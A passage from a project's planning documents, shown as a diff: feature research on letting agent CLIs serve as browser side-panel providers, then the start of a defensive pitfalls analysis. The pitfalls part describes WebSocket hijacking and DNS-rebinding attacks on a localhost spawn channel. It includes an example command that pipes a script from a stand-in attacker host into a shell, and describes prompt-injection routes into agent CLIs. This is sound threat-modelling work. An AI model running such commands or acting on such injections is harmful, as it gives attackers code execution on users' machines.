swaps the API-key field for a CLI-path field ("usually `claude` if in PATH") and the tool spawns a `claude` process per message, billing against the user's Pro/Max subscription — "Max subscribers will see $0.00 costs" ([Cline docs](https://docs.cline.bot/provider-config/claude-code), [Cline blog](https://cline.bot/blog/how-to-use-your-claude-max-subscription-in-cline), [Roo Code PR #4864](https://github.com/RooCodeInc/Roo-Code/pull/4864)). Cline later added "Bring your ChatGPT subscription" via sanctioned Codex OAuth ([Cline blog](https://cline.ghost.io/introducing-openai-codex-oauth/)). +2. **Separate "External Agents" section pattern** — Zed keeps ACP agents (Claude Agent, Gemini CLI, Codex, Copilot) in the Agent Panel's new-thread menu, distinct from Zed-hosted/API-key model providers. Auth is agent-owned (`/login` inside the thread); "An Anthropic API key configured for Zed Agent does not automatically configure Claude Agent" ([Zed external-agents docs](https://zed.dev/docs/ai/external-agents), [Zed ACP blog](https://zed.dev/blog/bring-your-own-agent-to-zed)). +3. **Account-sign-in provider pattern** — Xcode 26 mixes built-in ChatGPT/Claude *account* providers (Sign In button, no key) with add-your-own API-key providers; agentic coding only works with the preconfigured account providers ([Apple docs](https://developer.apple.com/documentation/xcode/setting-up-coding-intelligence), [9to5Mac 2025-08-28](https://9to5mac.com/2025/08/28/new-xcode-beta-now-available-with-gpt-5-and-claude-support/)). +4. **Hosted pick-your-agent pattern** — GitHub Agent HQ ("mission control") lets users pick Copilot, Claude, or Codex per task, metered as one premium request per agent session ([GitHub blog](https://github.blog/news-insights/company-news/pick-your-agent-use-claude-and-codex-on-agent-hq/)). + +Adjacent delegation front-ends: Conductor (Mac app; "sign in or confirm your machine already has a Claude Code or Codex session"; bundles its own CLI copies; "uses Claude Code however you're already logged in" — [docs](https://docs.conductor.build/)), Happy (mobile/web mirror of Claude Code/Codex with realtime streaming + push-notification permission approvals — [happy.engineering](https://happy.engineering/docs/features/)), Vibe Kanban (10+ executors behind one profile abstraction; auto-scans existing `.claude` dirs — [docs](https://vibekanban.com/docs/configuration-customisation/agent-configurations)), OpenCode (client/server split, `opencode serve` + remote clients — [docs](https://opencode.ai/docs/server/)). + +Browser-control consent baselines: Claude in Chrome, ChatGPT Atlas agent mode, Gemini-in-Chrome auto-browse (details under Table Stakes / consent). + +**FSB's structural difference:** every comparable front-ends an agent for *coding in a repo*. FSB front-ends the agent for *driving the user's live browser*, and the spawned agent loops back through FSB's own MCP tools — the delegation target and the visual surface are the same product. No surveyed product does side-panel-initiated spawn of a local CLI that then controls the user's real logged-in browser. + +## Feature Landscape + +### Table Stakes (Users Expect These) + +| Feature | Why Expected | Complexity | Notes | +|---------|--------------|------------|-------| +| Agent providers listed in the same picker as API providers, with kind-specific fields (agent kind hides API-key field) | Cline/Roo set the convention: "Claude Code" sits in the API Provider dropdown; key field disappears, CLI-path field appears | LOW | FSB: rename "API Configuration" → "Providers" (`control_panel.html:146`), add `kind: api\|agent`. Existing 7 BYOK providers unchanged (INV-03) | +| "Uses your existing subscription/login — no API key needed" labeling on agent providers | Every comparable states this explicitly (Cline: "uses your Claude subscription limits instead of API token billing"; Xcode: account sign-in rows) | LOW | Copy only. Also state the inverse: FSB's Anthropic BYOK key does NOT make Claude Code work (Zed documents this exact confusion) | +| Installed/not-installed state per agent in the picker + detection from disk | Conductor gates onboarding on an existing Claude Code/Codex session; Vibe Kanban scans `.claude` dirs; Smithery CLI lists clients from config paths | MEDIUM | FSB already has the 21-client `platforms.ts` registry with per-OS config paths. Detection must run daemon-side (extension can't read disk); picker must degrade gracefully when daemon offline (show "unknown", not "not installed") | +| Live streaming progress with per-tool-call visibility | Zed shows tool-call status cards; Gemini-in-Chrome "details each step in a work log"; Atlas narrates actions; Happy streams responses in real time | HIGH | Map `claude -p --output-format stream-json --include-partial-messages` events (`system/init`, `stream_event` deltas, tool_use, `system/api_retry`, `result`) into a side-panel feed. Requires the new reverse-request channel over ws://7225 | +| Stop/kill button that actually interrupts the run | Universal: Zed stop button, Gemini "stop it and take over at any time", Atlas pause/take control, OpenCode remote "stop a running action", ACP `session/cancel` | MEDIUM | Kill spawned process tree + release the delegated agent's owned tabs (v0.9.60 ownership) + clear the visual session | +| Explicit offline/unavailable state with a recovery path | Claude Code ships an error table ("Browser extension is not connected" → fix steps) and a `/chrome` reconnect action; Zed exposes ACP logs for failed agent starts | MEDIUM | FSB constraint: no nativeMessaging → daemon can't be woken. Honest "agent offline → run `fsb-mcp-server doctor`" card is the floor; doctor already classifies layers | +| Consent gate before an agent can control the browser, with ask-vs-auto modes | Claude in Chrome: "Ask before acting" vs "Act without asking" + site-level always-allow + upfront plan listing sites; Atlas pauses on sensitive actions and forces watch mode on financial sites; Gemini auto-browse pauses before purchases/messages with "take over task" | MEDIUM-HIGH | Spawn channel is RCE-adjacent: first-enable opt-in (explicit toggle + warning), plus a per-run or per-session confirmation tier. Spawned CLI runs with strict permission defaults + `--strict-mcp-config` (FSB tools only) — never `--dangerously-skip-permissions` | +| Usage/cost reporting appropriate to provider kind | Cline shows $0.00 for Max-subscription runs; Claude Code `result` event carries `total_cost_usd` + per-model breakdown; GitHub meters premium requests per agent session; OpenCode TUI shows tokens+cost top-right | LOW-MEDIUM | Agent kind: show tokens/turns/duration + "included in your subscription", not fabricated dollars. API kind keeps the existing cost tracker. `result` event feeds the existing MCP request log | +| Follow-up messages keep context (thread ≈ session) | Zed threads map to agent sessions (ACP `session/load`); Codex `resume --last` / `codex exec resume`; Gemini `--resume` + `/chat` checkpoints; Claude Code `--continue`/`--resume ` (scoped to cwd) | MEDIUM | MVP can use Cline's stateless pattern (spawn per message, replay conversation) OR `--resume`; either way the side-panel thread must not amnesia between turns | +| Visible in-browser activity while the delegated agent works | All three browser agents keep actions visible; Claude Code --chrome runs "in a visible Chrome window in real time" and pauses at login/CAPTCHA for the human | LOW | Already built: orange glow, visual session badges, implicit visual-session contract (v0.9.36/v0.9.62). Ensure the spawned CLI's client identity maps to an allowlisted badge | + +### Differentiators (Competitive Advantage) + +| Feature | Value Proposition | Complexity | Notes | +|---------|-------------------|------------|-------| +| Ground-truth recommended default (connected > installed > copy-clicked) | Nobody recommends from evidence. Cline preselects its own paid gateway; Xcode just preconfigures accounts. FSB can badge "Recommended — Claude Code connected 2m ago" | MEDIUM | Needs the identity-capture trio: onboarding copy-click persist (client id already in `onboarding.js` handler), MCP `initialize` clientInfo capture (currently discarded), disk detection. Recommend, never auto-switch | +| Connected-agent ground truth from the MCP handshake (clientInfo through `agent:register`) | Comparables detect installs at best; none show *live* connections. A control-panel "Connected agents" roster with last-seen is unique observability | LOW-MEDIUM | clientInfo has zero references in `mcp/` today; `agent:register` payload is empty `{}`. Additive fields only (INV-01). Completes the v0.9.36 deferred item | +| Closed-loop delegation: side panel → spawn agent CLI → agent drives the same browser via FSB MCP tools | Inverts Claude Code --chrome (CLI-initiated) into panel-initiated. User asks in the browser; a subscription-grade agent does the work *in that browser* with FSB's visual feedback and tab ownership | HIGH | The spawned CLI connects back as a normal FSB agent (agent id, ownership token, cap 8). Ship a first-party `fsb` agent definition via `--agents` instead of prompt stuffing; hermetic `--strict-mcp-config` | +| Multi-agent adapter contract (detect / build / events / kill / caps) covering Claude Code → OpenCode → Codex → Gemini | Vibe Kanban proves 10+ executors behind one profile abstraction is tractable and valued; from a browser surface it's unowned territory | HIGH | Per-CLI interfaces differ: Claude stream-json; `codex exec` (+ `resume`/`--last`, JSONL sessions in `~/.codex/sessions/`); OpenCode is an HTTP server (OpenAPI), not a spawn; Gemini `--resume`. Caps matrix: task-mode vs chat-mode per adapter | +| Task-mode vs chat-mode (`--resume`) capability flags per adapter | Matches how users think: quick task vs ongoing conversation. Zed/ACP gate this with the `loadSession` capability; FSB can badge "supports follow-ups" | MEDIUM | Claude Code: `--resume ` scoped to project dir/worktree — daemon must pin cwd per thread. Codex: `exec resume`. Gemini: `--resume`. OpenCode: server sessions | +| Cross-surface session continuity (side-panel thread resumable in the terminal) | Because the delegated run IS a genuine Claude Code session on disk, `claude --resume ` continues it in the terminal. Happy's desktop↔mobile mirroring proves the appeal | LOW | Just surface the `session_id` from `system/init` in the thread UI ("Continue in terminal: claude --resume …"). Zed offers the reverse (import external-agent threads) | +| Doctor-integrated failure UX | Zed's answer to a broken agent is raw ACP logs; FSB's is a layer-classifying `doctor` with guided recovery — friendlier by design | LOW-MEDIUM | Extend doctor with delegation checks: agent binary found, version, auth state, spawn-channel secret. Deep-link from the side-panel offline card | +| Per-run plan/scope preview in the consent prompt | Claude in Chrome reviews an upfront plan with the sites it will touch; applying that to "spawn X locally, it may control tabs A/B" beats a bare Allow/Deny | MEDIUM | Tier it: first enable (scary, explicit) → per-run summary (task + agent + scope) → in-run high-risk confirmations already governed by FSB's existing consent surfaces | +| Kill switch that also reclaims tabs and shows what the agent still owns | Comparables kill the process; none reconcile browser state afterward. FSB's tab ownership makes "agent stopped, 2 tabs released" reportable | MEDIUM | Builds directly on v0.9.60 ownership + reconnect-grace machinery | + +### Anti-Features (Commonly Requested, Often Problematic) + +| Feature | Why Requested | Why Problematic | Alternative | +|---------|---------------|-----------------|-------------| +| Reuse subscription OAuth tokens / spoof Claude Code headers / use Agent SDK with consumer OAuth | "Just call the API with my Max token — no spawn needed" | Banned. Anthropic blocked it Jan 9 2026 (silent), ToS-clarified Feb 18-20 2026, fully enforced Apr 4 2026; tools get "This credential is only authorized for use with Claude Code". OpenClaw/OpenCode/NanoClaw all hit it ([The Register](https://www.theregister.com/2026/02/20/anthropic_clarifies_ban_third_party_claude_access/), [claude-code#28091](https://github.com/anthropics/claude-code/issues/28091)) | Spawn the genuine `claude` binary under the user's own login (Cline/Roo/Zed/Conductor all still ship this; "running the official Claude Code binary… you are fine"). Keep BYOK API kind as a first-class fallback. Note: OpenAI *sanctions* ChatGPT-subscription OAuth for third parties (Cline Codex OAuth) — auth policy is per-vendor, so encode it in the adapter | +| Bundle or silently auto-install agent CLIs | "One-click setup" (Conductor bundles Claude Code + Codex) | Conductor is a signed native Mac app; FSB is an MV3 extension + npm daemon. Silent installs from a browser-adjacent surface are a security smell, create version drift, and can't happen extension-side at all | Detect from disk + show the copy-able install command (onboarding already has per-client commands) + doctor verification | +| PTY/TUI screen-scraping of the agent's interactive UI | "The TUI already shows everything — just mirror it" | Brittle (ANSI parsing, resize, version drift), no structured tool-call/cost/session data, no clean cancel semantics | Structured headless interfaces only: `claude -p` stream-json, `codex exec` (JSONL sessions), `opencode serve` HTTP API, `gemini` non-interactive | +| Default the spawned agent to `--dangerously-skip-permissions` (or equivalent) for smooth demos | "Permission prompts interrupt the magic" | RCE-adjacent channel + agent with Bash access + browser control = worst-case blast radius. Claude Code's own plan mode auto-allows only read-only browser calls and prompts on state changes | Strict defaults: `--allowedTools`/permission-mode allowlist scoped to FSB MCP tools, `--strict-mcp-config`, no filesystem/Bash beyond what delegation needs; escalation prompts surface in the side panel (Happy's remote Allow/Deny proves this works) | +| General remote-access layer (LAN/tunnel/mobile) for delegation | OpenCode-remote ecosystem (Tailscale/ngrok clients) shows real demand | Scope explosion; every remote hop widens the RCE surface FSB just gated to extension-origin + shared secret on localhost:7225 | Stay localhost-only this milestone; FSB's dashboard-remote mode remains the separate, existing remote surface | +| Show dollar costs for subscription-backed runs | "Cost tracker already exists — reuse it" | Fabricated numbers (user pays $0 marginal); Cline deliberately shows $0.00 for Max runs. Misleads users into thinking delegation is expensive | Show tokens/turns/duration + "included in your subscription"; keep `MODEL_PRICING` estimates for telemetry aggregates only, labeled as estimates | +| Force/funnel users to agent providers (degrade BYOK) | "Subscriptions are the future; simplify to one path" | Cursor's BYOK restrictions (agent features require their plan even with your key) generate durable resentment; FSB's INV-03 promises provider parity | Both kinds first-class; recommendation badge only. BYOK autopilot remains the zero-daemon path | +| Auto-switch the selected provider when a "better" agent connects | "Ground truth says Claude Code is here — use it" | Surprise provider swaps mid-workflow break trust and mask cost/behavior changes; no comparable does this | Recommend with a badge + one-tap switch; persist explicit user choice as sticky | + +## UX Convention Notes (per research question) + +**Provider picker mixing kinds.** Two proven layouts: same-dropdown-with-morphing-fields (Cline/Roo — lowest friction, fits FSB's existing single panel) and separate-section (Zed External Agents; Xcode accounts vs API providers). Either way: agent entries never show a key field; they show install/auth state instead. "Recommended" defaults exist everywhere but are vendor-motivated (Cline preselects its own gateway; free-tier suggestions for beginners) — an evidence-based badge is FSB's opening. Unavailable states today are weak across the board (Cline documents no missing-CLI error UX; Zed points at raw logs) — treat "installed but unavailable", "not installed", and "daemon offline" as three distinct picker states. + +**Streaming-progress conventions.** The converged grammar: narrated step feed + collapsible tool-call cards with status + prominent stop + final result card with usage. Zed adds "follow the agent" (jump to what it touches — FSB's equivalent is the already-visible glow/badge on the live tab) and review-before-apply (not applicable: browser actions aren't diffs, which is exactly why consent must be *pre*-action). Claude Code's stream gives everything needed: `system/init` (session_id, model, tools — render "Claude Code session started"), tool_use blocks (feed rows), `system/api_retry` (transient-state row with typed error categories), `result` (`total_cost_usd`, `num_turns`, duration → summary card). + +**Consent for browser control.** Three-layer convention across Claude in Chrome / Atlas / Gemini auto-browse: (1) mode choice (ask-before-acting vs act-with-guardrails), (2) scope disclosure upfront (plan with sites), (3) hard confirmations for sensitive actions + categorical blocks (financial) + pause-for-human at login/CAPTCHA. FSB must add a layer none of them need: consent to *spawn a local process* (first-enable toggle + per-run confirm), because the delegation channel, not the browsing, is the new risk. + +**Session continuity.** Users now expect thread↔session mapping (Zed/ACP `session/load`; Codex/Gemini/Claude resume). Stateless replay-per-message (Cline) is acceptable for task-mode MVP but wastes subscription tokens and loses agent-side context (todos, plan state); `--resume` chat-mode is the expected v1.x follow-up. Claude Code resume is cwd-scoped — the daemon must keep a stable working directory per thread. + +**Detection UX.** Convention is confirm-not-configure: Conductor "confirm your machine already has a Claude Code session"; Vibe Kanban silently reuses `.claude` config; Claude Code's Chrome flow auto-opens a connect tab once on first install, then never again (v2.1.199 behavior). So: "We found Claude Code installed — connect it?" with one action, remembered forever, re-verifiable via doctor. Never nag on every panel open. + +## Feature Dependencies + +``` +Providers panel rename + kind field (api|agent) + └──requires──> existing control panel API Configuration section (control_panel.html:146) + +Recommended-default badge + └──requires──> Identity capture trio: + onboarding copy-click persist (extension/ui/onboarding.js handler has client id) + MCP initialize clientInfo capture ──> agent:register payload (empty {} today; additive, INV-01) + disk detection (platforms.ts 21-client registry, daemon-side) + +Side-panel delegation (Claude Code MVP) + └──requires──> reverse-request channel over ws://localhost:7225 (extension-origin gating + shared secret) + └──requires──> consent tiers (first-enable + per-run) + └──requires──> Claude Code adapter (spawn claude -p, stream-json, strict permissions, --strict-mcp-config, fsb agent definition) + └──requires──> tab ownership + agent ids + cap 8 (v0.9.60, exists) + └──requires──> visual session badges + client allowlist (v0.9.36/v0.9.62, exists) + └──requires──> fifth EXECUTION_MODES entry "delegated" (extension/ai/engine-config.js) + +Streaming progress feed + kill switch ──requires──> delegation channel +Usage/cost summary card ──requires──> stream-json result event; ──enhances──> existing MCP request logging + cost tracker +Offline → doctor handoff ──requires──> doctor (exists); ──enhances──> delegation (graceful degradation) +Chat-mode (--resume) ──requires──> task-mode adapter + per-thread cwd pinning +Multi-agent adapters (OpenCode/Codex/Gemini) ──requires──> AgentProviderAdapter contract proven on Claude Code +Cross-surface resume hint ──requires──> session_id surfaced from system/init + +Auto-switch on detection ──conflicts──> sticky explicit provider choice +Subscription-token proxying ──conflicts──> Anthropic ToS (spawn genuine binary instead) +``` + +### Dependency Notes + +- **Delegation requires a live daemon:** the extension has no nativeMessaging permission and cannot wake any process — agent-kind providers are only *runnable* when `fsb-mcp-server serve` (or an open agent session) is up. This makes the offline state a first-class picker/thread state, not an error path. +- **Identity capture is independent of delegation:** the trio (clicks/clientInfo/disk) ships value on its own (control-panel roster, recommended badge) and can land before the spawn channel — a natural phase boundary. +- **Adapter contract before adapter breadth:** Codex/OpenCode/Gemini adapters are cheap only if the Claude Code MVP fixes the contract (detect/build/events/kill/caps) rather than hardcoding Claude shapes. OpenCode will stress it usefully (HTTP server, not spawn). +- **Test-suite tripwires:** extension-side wiring (onboarding persist, providers panel, side-panel feed) trips source-pin tests (token counts/substrings) — run the suite from the first commit. + +## MVP Definition + +### Launch With (v1 — this milestone) + +- [ ] Providers panel rename + `api`/`agent` kinds; agent kind hides key field, shows install/auth/connection state — the naming and framing everything else hangs on +- [ ] Identity capture trio (copy-click persist, clientInfo capture through `agent:register`, disk detection) + control-panel connected/installed roster — ground truth +- [ ] Recommended-default badge from ground truth (connected > installed > copy-clicked); never auto-switch +- [ ] Claude Code delegation MVP: consent-gated spawn over ws://7225, `claude -p` stream-json, strict permissions + `--strict-mcp-config` + shipped `fsb` agent definition, spawned CLI connects back with its own agent id/tab ownership +- [ ] Live progress feed (init/tool/retry/result events) + kill switch that releases owned tabs +- [ ] Honest offline state → doctor handoff +- [ ] Usage summary card per delegated run (tokens/turns/duration, "included in your subscription") + +### Add After Validation (v1.x) + +- [ ] Chat-mode continuity via `--resume` + per-thread cwd pinning — add once task-mode proves the channel; trigger: users sending follow-ups that lose context +- [ ] OpenCode → Codex → Gemini adapters behind the proven contract; trigger: adapter contract stable through one release +- [ ] Cross-surface resume hint (`claude --resume `) — trivial once session ids are surfaced +- [ ] Doctor delegation checks (binary found/version/auth/spawn-secret) + +### Future Consideration (v2+) + +- [ ] Native-messaging host to wake the daemon — removes the biggest UX cliff but adds an installer + attack surface; explicitly deferred in milestone context +- [ ] ACP-based adapter unification (speak ACP to `claude-code-acp`/Gemini instead of per-CLI formats) — watch ACP adoption; would collapse adapter maintenance +- [ ] Remote delegation surfaces (mobile approvals à la Happy) — only after the localhost security posture has soak time + +## Feature Prioritization Matrix + +| Feature | User Value | Implementation Cost | Priority | +|---------|------------|---------------------|----------| +| Providers panel + kinds | HIGH | LOW | P1 | +| Identity capture trio + roster | HIGH | MEDIUM | P1 | +| Recommended badge (ground truth) | MEDIUM | LOW | P1 | +| Claude Code delegation + consent + spawn channel | HIGH | HIGH | P1 | +| Streaming feed + kill switch | HIGH | MEDIUM | P1 | +| Offline → doctor UX | HIGH | LOW | P1 | +| Usage summary (subscription framing) | MEDIUM | LOW | P1 | +| Chat-mode `--resume` | HIGH | MEDIUM | P2 | +| OpenCode/Codex/Gemini adapters | MEDIUM | HIGH | P2 | +| Cross-surface resume hint | MEDIUM | LOW | P2 | +| Native-messaging wake | HIGH | HIGH | P3 | +| ACP adapter unification | MEDIUM | HIGH | P3 | + +**Priority key:** +- P1: Must have for this milestone's goal (agent CLIs as first-class side-panel providers) +- P2: Should have; natural fast-follow within the milestone arc +- P3: Deferred; revisit after the delegation channel has soak time + +## Competitor Feature Analysis + +| Feature | Cline/Roo (Claude Code provider) | Zed (ACP external agents) | Claude in Chrome / Atlas / Gemini auto-browse | Our Approach | +|---------|----------------------------------|---------------------------|-----------------------------------------------|--------------| +| Provider mixing | Agent entry in same dropdown; key field → CLI path | Separate External Agents section; agent-owned auth | N/A (single first-party agent) | Same-panel with `kind` field; agent kind shows state, not keys | +| Detection | Manual CLI path ("usually `claude`") | Registry install, no disk detection | Extension auto-connect tab on first install | Disk detection via 21-client registry + connected ground truth from the MCP handshake | +| Streaming | Wraps CLI per message; "may not stream token-by-token" | Tool-call cards, follow-agent, stop, review diffs | Narrated work log, step details, stop/take-over | stream-json event feed + existing in-browser glow/badges as "follow the agent" | +| Consent | None specific to spawning | Tool-forwarding permissions; native perms agent-owned | Ask-vs-auto modes, site allowlists, sensitive-action confirms, watch mode | Two new tiers (enable spawn, per-run) on top of FSB's existing browsing consent | +| Sessions | Stateless replay per message | Threads = agent sessions; import/restore | Per-task; no CLI session concept | Task-mode v1 → `--resume` chat-mode v1.x; thread↔session id surfaced | +| Cost | $0.00 for subscription runs | Agent-owned; not surfaced | Subscription-metered invisibly | Tokens/turns/duration + "included in subscription"; dollars only for API kind | + +## Sources + +- [Zed external agents docs](https://zed.dev/docs/ai/external-agents) + [GitHub source](https://github.com/zed-industries/zed/blob/main/docs/src/ai/external-agents.md) (fetched 2026-07-10); [Bring Your Own Agent blog](https://zed.dev/blog/bring-your-own-agent-to-zed); [Agent Panel docs](https://zed.dev/docs/ai/agent-panel); [zed#50142 diff-review gap for external agents](https://github.com/zed-industries/zed/issues/50142) +- [Agent Client Protocol — protocol overview](https://agentclientprotocol.com/protocol/overview) (`session/new`, `session/load`, `session/update`, `session/request_permission`, `session/cancel`, `initialize`/`authenticate`) (fetched 2026-07-10) +- [Cline Claude Code provider docs](https://docs.cline.bot/provider-config/claude-code); [Cline blog: Claude Max in Cline ($0.00 display)](https://cline.bot/blog/how-to-use-your-claude-max-subscription-in-cline); [Cline: ChatGPT subscription via Codex OAuth](https://cline.ghost.io/introducing-openai-codex-oauth/); [Roo Code PR #4864](https://github.com/RooCodeInc/Roo-Code/pull/4864) +- [Claude Code headless docs — `-p`, stream-json events, `--resume`, permissions, `--agents`, `total_cost_usd`](https://code.claude.com/docs/en/headless) (fetched 2026-07-10); [Claude Code with Chrome docs — connection, plan-mode read/write split, error table](https://code.claude.com/docs/en/chrome) (fetched 2026-07-10) +- [Claude in Chrome permissions guide](https://support.claude.com/en/articles/12902446-claude-in-chrome-permissions-guide); [Use Claude in Chrome safely](https://support.claude.com/en/articles/12902428-use-claude-in-chrome-safely) +- [OpenAI: Introducing ChatGPT Atlas (2025-10-21)](https://openai.com/index/introducing-chatgpt-atlas/); [Atlas agent help](https://help.openai.com/en/articles/12628199-using-ask-chatgpt-sidebar-and-chatgpt-agent-on-atlas) +- [Google: Gemini 3 auto-browse in Chrome (Dec 2025)](https://blog.google/products-and-platforms/products/chrome/gemini-3-auto-browse/); [9to5Google on agentic security (2025-12-08)](https://9to5google.com/2025/12/08/gemini-chrome-agentic-security/) +- [Apple: Setting up coding intelligence (Xcode 26)](https://developer.apple.com/documentation/xcode/setting-up-coding-intelligence); [9to5Mac (2025-08-28)](https://9to5mac.com/2025/08/28/new-xcode-beta-now-available-with-gpt-5-and-claude-support/) +- [GitHub Agent HQ announcement (2025-10)](https://github.blog/news-insights/company-news/welcome-home-agents/); [Pick your agent: Claude and Codex on Agent HQ](https://github.blog/news-insights/company-news/pick-your-agent-use-claude-and-codex-on-agent-hq/) +- [Conductor docs (bundled CLIs, login detection)](https://docs.conductor.build/); [Happy features (remote permission approvals, streaming)](https://happy.engineering/docs/features/); [Vibe Kanban agent profiles](https://vibekanban.com/docs/configuration-customisation/agent-configurations); [OpenCode server docs](https://opencode.ai/docs/server/); [Smithery CLI](https://smithery.ai/docs/concepts/cli) +- Codex sessions/resume: [developers.openai.com Codex CLI](https://developers.openai.com/codex/cli/features); [codex resume guide](https://inventivehq.com/knowledge-base/openai/how-to-resume-sessions). Gemini sessions: [Gemini CLI session management](https://geminicli.com/docs/cli/session-management/) +- Anthropic subscription-OAuth ban (Jan-Apr 2026): [The Register (2026-02-20)](https://www.theregister.com/2026/02/20/anthropic_clarifies_ban_third_party_claude_access/); [anthropics/claude-code#28091](https://github.com/anthropics/claude-code/issues/28091); [Kersai workaround survey](https://kersai.com/anthropic-killed-third-party-claude-access-heres-every-workaround-that-still-works/). **Note:** wrapping the *genuine* binary is not explicitly blessed in writing — LOW-MEDIUM confidence on formal permission, HIGH confidence on ecosystem practice (Cline/Roo/Zed/Conductor all ship it as of 2026-07) +- Cursor BYOK restrictions (anti-feature evidence): [APIpie fix guide](https://apipie.ai/docs/blog/Cursors-Does-Not-Work-with-Your-Current-Plan-or-API-Key-Fix) + +--- +*Feature research for: v0.9.91 MCP Clients as Providers (agent CLIs as side-panel providers)* +*Researched: 2026-07-10* diff --git a/.planning/milestones/v0.9.91-research/PITFALLS.md b/.planning/milestones/v0.9.91-research/PITFALLS.md new file mode 100644 index 000000000..390e8c245 --- /dev/null +++ b/.planning/milestones/v0.9.91-research/PITFALLS.md @@ -0,0 +1,698 @@ +# Pitfalls Research — v0.9.91 MCP Clients as Providers + +**Domain:** Localhost daemon spawning agent CLIs on request from a browser (MV3) surface, driving the user's live tabs via FSB's MCP tools +**Researched:** 2026-07-10 +**Confidence:** HIGH (security section verified against 2025-2026 CVEs and vendor advisories; MV3/child_process sections verified against Chrome/Node.js docs; product sections HIGH on Anthropic/OpenAI vendor pages) + +## Executive Framing + +The v0.9.91 delegation channel turns a browser click ("Run this task with Claude Code") into `execve(claude, -p, )` inside a localhost daemon that already speaks MCP to the extension. That composition — **browser-origin request → localhost daemon → CLI subprocess with the user's shell privileges → MCP tools that drive the live browser** — has been an active RCE surface across the entire 2025-2026 wave of agent tooling incidents (MCP Inspector CVE-2025-49596, MCP SDK DNS-rebinding CVE-2025-66414/66416, Claude Code project-files CVE-2025-59536, Gemini CLI CVSS 10 workspace-trust bypass, TrustFall one-keypress RCE across Claude/Cursor/Gemini/Copilot). Every one of these was a "trust boundary was assumed but never enforced" failure. This milestone must ship enforcement in the first phase that opens the spawn channel; every pitfall below has been chosen to prevent one specific incident class that has already happened in the wild. + +--- + +## Critical Pitfalls + +### Pitfall 1: Missing Origin / Host validation on the ws://localhost:7225 delegation channel (CSWSH → spawn RCE) + +**What goes wrong:** +An attacker-controlled webpage the user visits in another tab opens a WebSocket to `ws://localhost:7225`, sends the same "spawn Claude Code with prompt X" reverse-request the extension would send, and the daemon happily spawns `claude -p "curl attacker.com/x | sh"` with the user's shell privileges. This is textbook Cross-Site WebSocket Hijacking (CSWSH). Mailpit, Dozzle (CVE-2026-44985), and Nanobot WhatsApp Bridge all shipped this exact vulnerability in 2025-2026 by accepting all origins. + +**Why it happens:** +Localhost feels safe. WebSocket handshakes are HTTP under the hood but browsers do not enforce CORS on WebSocket upgrades — same-origin policy does not apply. Developers assume `bind: 127.0.0.1` = "only my code can reach it". It is not: any page in any tab, extension, or app on the machine can dial localhost freely. + +**How to avoid:** +1. **Strict `Origin` allowlist on `WebSocket upgrade`.** Reject the handshake if `Origin` header is not `chrome-extension://` or an explicit dashboard origin. The existing `tests/mcp-bridge-topology.test.js` already rejects untrusted browser origins for MCP — extend the same check to the new reverse-request channel. +2. **`Sec-WebSocket-Protocol` or query-string shared secret.** Extension sends a randomly generated per-install token; daemon rejects handshakes without it. Rotate on daemon restart. Do not rely on this alone (see Pitfall 5); pair it with Origin. +3. **`Host` header must equal `127.0.0.1:7225` or `localhost:7225`.** Anything else is DNS rebinding. +4. **Never bind to `0.0.0.0`.** Only `127.0.0.1`. `0.0.0.0` also binds LAN and Docker bridges. + +**Warning signs:** +- Any handler that does not check `req.headers.origin` before `ws.accept()`. +- Any code path that accepts a spawn request from a message received before both Origin and shared-secret checks passed. +- Bridge topology tests that only test extension→daemon success, never attacker-page→daemon rejection. + +**Phase to address:** +Phase 60 (the phase that first opens the reverse-request channel). Zero exceptions — this cannot be deferred to a "hardening" phase because the daemon is already RCE-adjacent from the moment `claude -p ` becomes callable from the wire. + +--- + +### Pitfall 2: DNS rebinding against ws://localhost:7225 (RCE via attacker-controlled DNS) + +**What goes wrong:** +Attacker publishes DNS for `evil.com` with TTL 0 pointing first to their server, then to `127.0.0.1`. Victim visits `evil.com`; the browser fetches the malicious JS with `Origin: https://evil.com`. That page opens `WebSocket("ws://evil.com:7225")`. Second DNS lookup returns 127.0.0.1. The browser sends the handshake to the daemon with `Origin: https://evil.com` and `Host: evil.com:7225`. If either check is loose, the daemon spawns a subprocess for the attacker. + +Every major MCP SDK shipped this vulnerability in 2025: **CVE-2025-66414** (TypeScript SDK) and **CVE-2025-66416** (Python SDK) — DNS rebinding protection was disabled by default on localhost. MCP Inspector's **CVE-2025-49596** (CVSS 9.4) was the same class: the browser-facing proxy accepted arbitrary stdio commands with no origin gate, and DNS rebinding turned it into 1-click RCE for anyone visiting a page while running Inspector. + +**Why it happens:** +Developers whitelist "localhost" or "127.0.0.1" on `Host` and think they are done, but they never verify that the browser actually resolved the target as loopback. The attacker's `Host: evil.com` does not fail an equality check against "127.0.0.1" — it just fails a poorly-designed one. + +**How to avoid:** +1. **Reject any `Host` header whose left side is not `127.0.0.1` or `localhost`.** Case-fold and strip port before compare. +2. **Reject any `Origin` not in the extension-ID allowlist** (see Pitfall 1). Origin is the primary defense; Host is defense-in-depth. +3. **Reference the fix ship path:** MCP TypeScript SDK 1.24.0+ and Python SDK 1.23.0+ added `enableDnsRebindingProtection: true` — the fix pattern (Host validation + Origin allowlist) is documented; port it directly. +4. **Test with a rebind fixture.** Add a test that sends a handshake with `Origin: https://evil.com` and `Host: 127.0.0.1:7225` — must reject even though Host is loopback. + +**Warning signs:** +- Any comment saying "we only bind to localhost, so this is safe." +- Missing `enableDnsRebindingProtection`-equivalent in the WS server config. +- Test suite lacks an explicit rebind rejection case. + +**Phase to address:** +Phase 60 (same phase as Pitfall 1 — same code path). Tests must include both Origin-mismatch and Host-mismatch fixtures before merge. + +--- + +### Pitfall 3: Prompt injection into the spawn-with-user-prompt payload → RCE + +**What goes wrong:** +The side panel receives a task prompt like "Book me a flight to Tokyo". That prompt is passed via the reverse-request channel to the daemon, which invokes `claude -p "" ...`. If the prompt payload can carry a nested MCP `initialize` block, config-file path, or repository trust dialog answer, an attacker who tricks the user into pasting a poisoned prompt (or who owns a page that generates suggested prompts) can: +- Force `--dangerously-skip-permissions` into the flag set (see Pitfall 4). +- Point `--mcp-config` at a malicious config that auto-approves a shell-executing MCP server. +- Embed hidden instructions the CLI treats as guidance the moment it reads a page. + +Real 2025-2026 evidence: **CVE-2025-59536** (Claude Code project files → RCE + API token exfiltration), **CVE-2025-54794 / CVE-2025-54795** (whitelisted-command injection: `echo "\"; ; echo \""`), **TrustFall** (folder-trust bypass across Claude/Cursor/Gemini/Copilot CLIs, disclosed May 2026, one Enter keypress = RCE), and the Palo Alto Unit 42 write-up documents in-the-wild indirect prompt injection where a Reddit comment caused an agent browser to exfiltrate private data. + +**Why it happens:** +Developers treat the 